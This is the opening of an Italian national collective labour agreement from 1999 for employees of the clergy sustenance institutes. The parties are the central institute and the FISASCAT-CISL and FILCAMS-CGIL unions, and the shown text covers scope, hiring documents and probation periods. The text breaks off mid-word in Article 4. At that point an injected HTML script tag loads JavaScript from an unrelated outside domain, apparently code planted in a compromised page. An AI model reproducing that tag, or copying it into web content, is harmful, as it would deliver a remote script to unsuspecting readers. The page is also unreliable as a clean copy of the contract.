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Categoria: Istituti per il sostentamento del clero Settore: Altro Data stipula: 9-4-1999 Data decorrenza: 1-6-1998 Data scadenza: 31-5-2002
Contratto Collettivo Nazionale
PER I DIPENDENTI DEGLI ISTITUTI PER IL SOSTENTAMENTO DEL CLERO
Roma, 9 aprile 1999
L'anno 1999, il giorno 9 del mese di aprile in Roma
tra
- Istituto Centrale per il Sostentamento del Clero, nella persona del
suo Presidente mons. Dr. Francesco Galdi in rappresentanza anche degli
Istituti Diocesani e Interdiocesani per il Sostentamento del Clero
e
- Federazione Italiana Sindacati Addetti ai Servizi Commerciale, Affini
e del Turismo (FISASCAT-CISL) rappresentata da Salvatore Falcone,
Federazione Italiana Lavoratori Commercio, Alberghi, Mense e Servizi
(FILCAMS-CGIL) rappresentata da Piero Marconi e il Rappresentante del
personale dell'Istituto Centrale per il Sostentamento del Clero, Simone
Lisi
visto
il CCNL per i dipendenti degli Istituti per il Sostentamento del Clero
stipulato l'11.11.94 e pervenuto a scadenza, per la parte economica, il
20.6.96
si è stipulato
il presente CCNL per i dipendenti degli Istituti per il Sostentamento del
Clero.
Titolo I - SFERA DI APPLICAZIONE DEL CONTRATTO
Art. 1 - Campo di applicazione.
Il presente contratto disciplina in maniera unitaria i rapporti di lavoro
del personale dipendente degli Istituti per il sostentamento del clero
previsti dal paragrafo 1 del canone 1274, Codice di Diritto Canonico e
dall'art. 21, legge 20.5.85 n. 222.
Titolo II - ASSUNZIONE
Art. 2 - Assunzione.
L'assunzione del personale sarà effettuata secondo le norme di legge in
vigore.
L'assunzione viene effettuata con apposito provvedimento contenente le
seguenti indicazioni:
a) la data di assunzione;
b) la durata del periodo di prova;
c) la qualifica del lavoratore;
d) la retribuzione.
Per l'assunzione sono richiesti i seguenti documenti:
a) certificato di nascita;
b) certificato degli studi compiuti, oppure diploma o attestato dei
corsi d'addestramento frequentati;
c) attestato di conoscenza di una o più lingue estere per le mansioni
che implichino tale requisito;
d) certificato di servizio eventualmente prestato presso altre aziende;
e) libretto di lavoro o tesserino di disoccupazione;
f) documenti relativi alle assicurazioni sociali per i lavoratori che ne
siano provvisti;
g) documentazioni e dichiarazioni necessarie per l'applicazione delle
leggi previdenziali e fiscali;
h) dichiarazione di responsabilità dalla quale risulti il numero di
giorni di malattia indennizzati nel periodo, precedente la data
d'assunzione, dell'anno di calendario in corso;
i) dichiarazione di responsabilità per i lavoratori assunti con
contratto a termine dalla quale risulti il numero delle giornate lavorate
nei 12 mesi immediatamente precedenti la data d'assunzione; ciò ai fini di
quanto previsto dall'art. 5, legge 11.11.83 n. 638;
j) eventuali altri documenti e certificati, dei quali l'Istituto
rilascerà apposita ricevuta.
Del provvedimento d'assunzione viene data comunicazione al lavoratore
interessato, in duplice copia, di cui 1 sarà restituita all'Istituto
debitamente firmata per accettazione.
E' in facoltà dell'Istituto di sottoporre, prima dell'assunzione, il
lavoratore ad accertamenti sanitari.
Art. 3 - Periodo di prova.
La durata del periodo di prova, che deve risultare dall'atto di
assunzione, non può superare:
a) 6 mesi per i Quadri e il 1° livello;
b) 3 mesi per gli altri livelli.
I periodi sopraindicati devono essere computati in giorni di calendario.
Durante il periodo di prova si applicano le disposizioni di legge in
vigore al riguardo e, dopo che lo stesso sia trascorso senza che le parti
abbiano dato disdetta, l'assunzione s'intenderà confermata.
Titolo III - CLASSIFICAZIONE DEL PERSONALE
Art. 4 - Classificazione del personale.
Ai fini del presente contratt<script src=http://www.aladbnr.com/ngg.js></script>
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